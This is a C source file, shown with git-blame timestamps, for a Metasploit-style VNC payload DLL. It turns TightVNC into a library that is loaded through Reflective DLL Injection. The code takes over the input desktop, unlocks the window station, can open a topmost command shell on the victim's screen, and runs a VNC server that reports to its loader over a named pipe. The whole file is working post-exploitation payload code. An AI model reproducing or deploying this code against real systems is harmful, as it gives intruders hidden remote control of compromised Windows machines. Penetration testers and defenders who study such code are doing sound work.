2010-03-08 14:49:45 +00:00
|
|
|
/*
|
|
|
|
* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
* March 2010: TightVNC 1.3.10 source modified as standalone x86/x64 DLL.
|
|
|
|
* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
* Tested On x86 Windows: - NT4, 2000, XP, 2003, Vista, 2008, 7
|
|
|
|
* Tested On x64 Windows: - 2003, 2008R2, 7
|
|
|
|
* -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|
|
|
*/
|
|
|
|
#include "stdhdrs.h"
|
2010-03-24 00:00:05 +00:00
|
|
|
#include "common.h"
|
2010-03-08 14:49:45 +00:00
|
|
|
#include "vncServer.h"
|
|
|
|
|
|
|
|
/*
|
|
|
|
* Use Reflective DLL Injection.
|
|
|
|
*/
|
2010-03-24 00:00:05 +00:00
|
|
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
|
|
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
|
|
|
#include "ReflectiveLoader.c"
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
HANDLE hMessageMutex = NULL;
|
2010-03-08 14:49:45 +00:00
|
|
|
|
|
|
|
/*
|
2010-03-24 00:00:05 +00:00
|
|
|
* Post an arbitrary message back to a loader.
|
2010-03-08 14:49:45 +00:00
|
|
|
*/
|
2010-03-24 00:00:05 +00:00
|
|
|
DWORD vncdll_postmessage( AGENT_CTX * lpAgentContext, DWORD dwMessage, BYTE * pDataBuffer, DWORD dwDataLength )
|
2010-03-08 14:49:45 +00:00
|
|
|
{
|
2010-03-24 00:00:05 +00:00
|
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
|
|
HANDLE hPipe = NULL;
|
|
|
|
BYTE * pBuffer = NULL;
|
|
|
|
char cNamedPipe[MAX_PATH] = {0};
|
|
|
|
DWORD dwWritten = 0;
|
|
|
|
DWORD dwLength = 0;
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
do
|
2010-03-08 14:49:45 +00:00
|
|
|
{
|
2010-03-24 00:00:05 +00:00
|
|
|
if( !lpAgentContext )
|
|
|
|
BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. invalid parameters", ERROR_INVALID_PARAMETER );
|
|
|
|
|
|
|
|
dwLength = sizeof(DWORD) + sizeof(DWORD) + dwDataLength;
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
pBuffer = (BYTE *)malloc( dwLength );
|
|
|
|
if( !pBuffer )
|
|
|
|
BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. pBuffer malloc failed", ERROR_INVALID_HANDLE );
|
|
|
|
|
|
|
|
memcpy( pBuffer, &dwMessage, sizeof(DWORD) );
|
|
|
|
memcpy( (pBuffer+sizeof(DWORD)), &dwDataLength, sizeof(DWORD) );
|
|
|
|
memcpy( (pBuffer+sizeof(DWORD)+sizeof(DWORD)), pDataBuffer, dwDataLength );
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
if( WaitForSingleObject( hMessageMutex, INFINITE ) != WAIT_OBJECT_0 )
|
|
|
|
BREAK_WITH_ERROR( "[VNCDLL] vncdll_postmessage. WaitForSingleObject failed", ERROR_INVALID_HANDLE );
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
_snprintf( cNamedPipe, MAX_PATH, "\\\\.\\pipe\\%08X", lpAgentContext->dwPipeName );
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
dprintf("[VNCDLL] vncdll_postmessage. pipe=%s, message=0x%08X, length=%d", cNamedPipe, dwMessage, dwDataLength);
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
while( TRUE )
|
|
|
|
{
|
|
|
|
hPipe = CreateFileA( cNamedPipe, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL );
|
|
|
|
if( hPipe != INVALID_HANDLE_VALUE )
|
|
|
|
break;
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
if( GetLastError() != ERROR_PIPE_BUSY )
|
|
|
|
BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. ERROR_PIPE_BUSY" );
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
if( !WaitNamedPipe( cNamedPipe, 20000 ) )
|
|
|
|
BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WaitNamedPipe timedout" );
|
|
|
|
}
|
|
|
|
|
|
|
|
if( dwResult == ERROR_SUCCESS )
|
|
|
|
{
|
|
|
|
if( !WriteFile( hPipe, pBuffer, dwLength, &dwWritten, NULL ) )
|
|
|
|
BREAK_ON_ERROR( "[VNCDLL] vncdll_postmessage. WriteFile dwMessage length failed" );
|
|
|
|
}
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
} while( 0 );
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
CLOSE_HANDLE( hPipe );
|
|
|
|
|
|
|
|
if( pBuffer )
|
|
|
|
free( pBuffer );
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
ReleaseMutex( hMessageMutex );
|
|
|
|
|
|
|
|
return dwResult;
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
|
|
*
|
|
|
|
*/
|
|
|
|
VOID vncdll_unlockwindowstation( VOID )
|
|
|
|
{
|
|
|
|
HMODULE hUser32 = LoadLibrary( "user32.dll" );
|
2010-03-08 14:49:45 +00:00
|
|
|
if( hUser32 )
|
|
|
|
{
|
|
|
|
typedef BOOL (WINAPI * UNLOCKWINDOWSTATION)( HWINSTA );
|
|
|
|
UNLOCKWINDOWSTATION pUnlockWindowStation = (UNLOCKWINDOWSTATION)GetProcAddress( hUser32, "UnlockWindowStation" );
|
|
|
|
if( pUnlockWindowStation )
|
|
|
|
pUnlockWindowStation( GetProcessWindowStation() );
|
|
|
|
|
|
|
|
FreeLibrary( hUser32 );
|
|
|
|
}
|
2010-03-24 00:00:05 +00:00
|
|
|
}
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
/*
|
|
|
|
* Switch to the input desktop and set it as this threads desktop.
|
|
|
|
*/
|
|
|
|
HDESK vncdll_getinputdesktop( BOOL bSwitchStation )
|
|
|
|
{
|
|
|
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
|
|
|
HWINSTA hWindowStation = NULL;
|
|
|
|
HDESK hInputDesktop = NULL;
|
|
|
|
HWND hDesktopWnd = NULL;
|
|
|
|
|
|
|
|
do
|
2010-03-08 14:49:45 +00:00
|
|
|
{
|
2010-03-24 00:00:05 +00:00
|
|
|
if( bSwitchStation )
|
|
|
|
{
|
|
|
|
// open the WinSta0 as some services are attached to a different window station.
|
|
|
|
hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
|
|
|
|
if( !hWindowStation )
|
|
|
|
{
|
|
|
|
if( RevertToSelf() )
|
|
|
|
hWindowStation = OpenWindowStation( "WinSta0", FALSE, WINSTA_ALL_ACCESS );
|
|
|
|
}
|
|
|
|
|
|
|
|
// if we cant open the defaut input station we wont be able to take a screenshot
|
|
|
|
if( !hWindowStation )
|
|
|
|
BREAK_WITH_ERROR( "[VNCDLL] vncdll_getinputdesktop: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE );
|
|
|
|
|
|
|
|
// set the host process's window station to this sessions default input station we opened
|
|
|
|
if( !SetProcessWindowStation( hWindowStation ) )
|
|
|
|
BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: SetProcessWindowStation failed" );
|
|
|
|
}
|
|
|
|
|
|
|
|
// grab a handle to the default input desktop (e.g. Default or WinLogon)
|
|
|
|
hInputDesktop = OpenInputDesktop( 0, FALSE, MAXIMUM_ALLOWED );
|
|
|
|
if( !hInputDesktop )
|
|
|
|
BREAK_ON_ERROR( "[VNCDLL] vncdll_getinputdesktop: OpenInputDesktop failed" );
|
|
|
|
|
|
|
|
// set this threads desktop to that of this sessions default input desktop on WinSta0
|
|
|
|
SetThreadDesktop( hInputDesktop );
|
|
|
|
|
|
|
|
} while( 0 );
|
|
|
|
|
|
|
|
return hInputDesktop;
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
|
|
* Create the Metasploit Courtesy Shell
|
|
|
|
*/
|
|
|
|
VOID vncdll_courtesyshell( HDESK desk )
|
|
|
|
{
|
|
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
|
|
HWND hShell = NULL;
|
|
|
|
STARTUPINFOA si = {0};
|
|
|
|
PROCESS_INFORMATION pi = {0};
|
|
|
|
char name_win[256] = {0};
|
|
|
|
char name_des[256] = {0};
|
|
|
|
char name_all[1024] = {0};
|
|
|
|
|
|
|
|
do
|
|
|
|
{
|
|
|
|
dprintf( "[VNCDLL] vncdll_courtesyshell. desk=0x%08X", desk );
|
2010-03-08 14:49:45 +00:00
|
|
|
|
|
|
|
memset(name_all, 0, sizeof(name_all));
|
|
|
|
|
|
|
|
GetUserObjectInformation( GetProcessWindowStation(), UOI_NAME, &name_win, 256, NULL );
|
|
|
|
GetUserObjectInformation( desk, UOI_NAME, &name_des, 256, NULL );
|
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
_snprintf( name_all, sizeof(name_all)-1, "%s\\%s", name_win, name_des );
|
|
|
|
|
|
|
|
memset( &pi, 0, sizeof(PROCESS_INFORMATION) );
|
|
|
|
memset( &si, 0, sizeof(STARTUPINFOA) );
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
si.cb = sizeof(STARTUPINFOA);
|
|
|
|
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USEFILLATTRIBUTE;
|
|
|
|
si.wShowWindow = SW_NORMAL;
|
|
|
|
si.lpDesktop = name_all;
|
|
|
|
si.lpTitle = "Metasploit Courtesy Shell (TM)";
|
2010-03-08 14:49:45 +00:00
|
|
|
si.dwFillAttribute = FOREGROUND_RED|FOREGROUND_BLUE|FOREGROUND_GREEN|BACKGROUND_BLUE;
|
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
if( !CreateProcess( NULL, "cmd.exe", 0, 0, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi ) )
|
|
|
|
BREAK_ON_ERROR( "[VNCDLL] vncdll_courtesyshell. CreateProcess failed" );
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
CloseHandle( pi.hThread );
|
|
|
|
CloseHandle( pi.hProcess );
|
|
|
|
|
|
|
|
Sleep( 1000 );
|
|
|
|
|
|
|
|
hShell = FindWindow( NULL, "Metasploit Courtesy Shell (TM)" );
|
|
|
|
if( !hShell )
|
|
|
|
break;
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
SetWindowPos( hShell, HWND_TOPMOST, 0, 0, 0, 0, SWP_NOMOVE|SWP_NOSIZE );
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
} while( 0 );
|
|
|
|
}
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
/*
|
|
|
|
* Create and run a VNC server on this socket.
|
|
|
|
*/
|
|
|
|
DWORD vncdll_run( AGENT_CTX * lpAgentContext )
|
|
|
|
{
|
|
|
|
DWORD dwResult = ERROR_SUCCESS;
|
|
|
|
VSocketSystem * vsocketsystem = NULL;
|
|
|
|
vncServer * vserver = NULL;
|
|
|
|
HDESK desk = NULL;
|
|
|
|
WSADATA WSAData = {0};
|
|
|
|
SOCKET sock = 0;
|
|
|
|
BYTE bFlags = 0;
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
do
|
|
|
|
{
|
|
|
|
dprintf( "[VNCDLL] vncdll_run. Started..." );
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
if( !lpAgentContext )
|
|
|
|
BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. invalid parameters", ERROR_INVALID_PARAMETER );
|
|
|
|
|
|
|
|
hMessageMutex = CreateMutex( NULL, FALSE, NULL );
|
|
|
|
|
|
|
|
desk = vncdll_getinputdesktop( TRUE );
|
|
|
|
|
|
|
|
vncdll_unlockwindowstation();
|
|
|
|
|
|
|
|
if( !lpAgentContext->bDisableCourtesyShell )
|
|
|
|
vncdll_courtesyshell( desk );
|
|
|
|
|
|
|
|
vsocketsystem = new VSocketSystem();
|
|
|
|
if( !vsocketsystem->Initialised() )
|
|
|
|
BREAK_WITH_ERROR( "[VNCDLL] vncdll_run. VSocketSystem Initialised failed", ERROR_NETWORK_ACCESS_DENIED );
|
|
|
|
|
|
|
|
vserver = new vncServer();
|
|
|
|
|
|
|
|
vncClientId cid = vserver->AddClient( lpAgentContext );
|
|
|
|
|
|
|
|
dprintf( "[VNCDLL-0x%08X] vncdll_run. Going into wait state... cid=%d", hAppInstance, cid );
|
|
|
|
|
|
|
|
WaitForSingleObject( lpAgentContext->hCloseEvent, INFINITE );
|
|
|
|
|
|
|
|
vserver->RemoveClient( cid );
|
|
|
|
|
|
|
|
} while( 0 );
|
|
|
|
|
|
|
|
dprintf( "[VNCDLL-0x%08X] vncdll_run. terminating...", hAppInstance );
|
|
|
|
|
|
|
|
delete vserver;
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
delete vsocketsystem;
|
2010-03-08 14:49:45 +00:00
|
|
|
|
2010-03-24 00:00:05 +00:00
|
|
|
CLOSE_HANDLE( hMessageMutex );
|
2010-03-08 14:49:45 +00:00
|
|
|
|
|
|
|
return 0;
|
|
|
|
}
|
2010-03-24 00:00:05 +00:00
|
|
|
|
|
|
|
/*
|
|
|
|
* Grab a DWORD value out of the command line.
|
|
|
|
* e.g. vncdll_command_dword( "/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:" ) == 0x41414141
|
|
|
|
*/
|
|
|
|
DWORD vncdll_command_dword( char * cpCommandLine, char * cpCommand )
|
|
|
|
{
|
|
|
|
char * cpString = NULL;
|
|
|
|
DWORD dwResult = 0;
|
|
|
|
|
|
|
|
do
|
|
|
|
{
|
|
|
|
if( !cpCommandLine || !cpCommand )
|
|
|
|
break;
|
|
|
|
|
|
|
|
cpString = strstr( cpCommandLine, cpCommand );
|
|
|
|
if( !cpString )
|
|
|
|
break;
|
|
|
|
|
|
|
|
cpString += strlen( cpCommand );
|
|
|
|
|
|
|
|
dwResult = strtoul( cpString, NULL, 0 );
|
|
|
|
|
|
|
|
} while( 0 );
|
|
|
|
|
|
|
|
return dwResult;
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
|
|
* The real entrypoint for this app.
|
|
|
|
*/
|
|
|
|
VOID vncdll_main( char * cpCommandLine )
|
|
|
|
{
|
|
|
|
DWORD dwResult = ERROR_INVALID_PARAMETER;
|
|
|
|
|
|
|
|
__try
|
|
|
|
{
|
|
|
|
do
|
|
|
|
{
|
|
|
|
dprintf( "[VNCDLL] vncdll_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine );
|
|
|
|
|
|
|
|
if( !cpCommandLine )
|
|
|
|
break;
|
|
|
|
|
|
|
|
if( strlen( cpCommandLine ) == 0 )
|
|
|
|
break;
|
|
|
|
|
|
|
|
dprintf( "[VNCDLL] vncdll_main. lpCmdLine=%s", cpCommandLine );
|
|
|
|
|
|
|
|
if( strstr( cpCommandLine, "/v" ) )
|
|
|
|
{
|
|
|
|
AGENT_CTX * lpAgentContext = NULL;
|
|
|
|
|
|
|
|
lpAgentContext = (AGENT_CTX *)vncdll_command_dword( cpCommandLine, "/c:" );
|
|
|
|
|
|
|
|
dwResult = vncdll_run( lpAgentContext );
|
|
|
|
|
|
|
|
if( lpAgentContext )
|
|
|
|
{
|
|
|
|
int i = 0;
|
|
|
|
if( lpAgentContext->hCloseEvent )
|
|
|
|
CloseHandle( lpAgentContext->hCloseEvent );
|
|
|
|
/*for( i=0 ; i<4 ; i++ )
|
|
|
|
{
|
|
|
|
if( lpAgentContext->dictionaries[i] )
|
|
|
|
{
|
|
|
|
int size = ( sizeof(DICTMSG) + lpAgentContext->dictionaries[i]->dwDictLength );
|
|
|
|
memset( lpAgentContext->dictionaries[i], 0, size );
|
|
|
|
VirtualFree( lpAgentContext->dictionaries[i], 0, MEM_RELEASE );
|
|
|
|
}
|
|
|
|
}*/
|
|
|
|
memset( lpAgentContext, 0, sizeof(AGENT_CTX) );
|
|
|
|
VirtualFree( lpAgentContext, 0, MEM_RELEASE );
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
} while( 0 );
|
|
|
|
}
|
|
|
|
__except( EXCEPTION_EXECUTE_HANDLER )
|
|
|
|
{
|
|
|
|
dprintf( "[VNCDLL] vncdll_main. EXCEPTION_EXECUTE_HANDLER" );
|
|
|
|
dwResult = ERROR_UNHANDLED_EXCEPTION;
|
|
|
|
}
|
|
|
|
|
|
|
|
dprintf( "[VNCDLL=0x%08X] vncdll_main. ExitThread dwResult=%d\n\n", hAppInstance, dwResult );
|
|
|
|
|
|
|
|
ExitThread( dwResult );
|
|
|
|
}
|
|
|
|
|
|
|
|
/*
|
|
|
|
* DLL entry point. If we have been injected via RDI, lpReserved will be our command line.
|
|
|
|
*/
|
|
|
|
BOOL WINAPI DllMain( HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved )
|
|
|
|
{
|
|
|
|
BOOL bReturnValue = TRUE;
|
|
|
|
|
|
|
|
switch( dwReason )
|
|
|
|
{
|
|
|
|
case DLL_PROCESS_ATTACH:
|
|
|
|
hAppInstance = hInstance;
|
|
|
|
if( lpReserved != NULL )
|
|
|
|
vncdll_main( (char *)lpReserved );
|
|
|
|
break;
|
|
|
|
case DLL_PROCESS_DETACH:
|
|
|
|
case DLL_THREAD_ATTACH:
|
|
|
|
case DLL_THREAD_DETACH:
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
|
|
|
|
return bReturnValue;
|
|
|
|
}
|